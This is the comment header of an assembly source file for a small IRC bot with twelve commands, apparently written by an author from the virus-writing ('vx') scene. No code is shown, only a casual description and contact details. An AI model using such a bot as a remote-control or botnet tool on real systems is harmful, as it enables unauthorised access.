;
;Description:
; This is a small and simple IRC bot coded in assembler (use FASM to assemble). I
; wanted to write a small tutorial along with this source, but I am lazy dude ;).
; But don't cry, the code is very well commented and easy to understand. The bot
; has 12 commands, wich you can see in the example session. For greets and fucks
; use my guestbook at vx-dia.de.vu or drop me some mail to DiA_hates_machine@gmx.de
; Now have fun with this little code, assembled just 8kb baby.
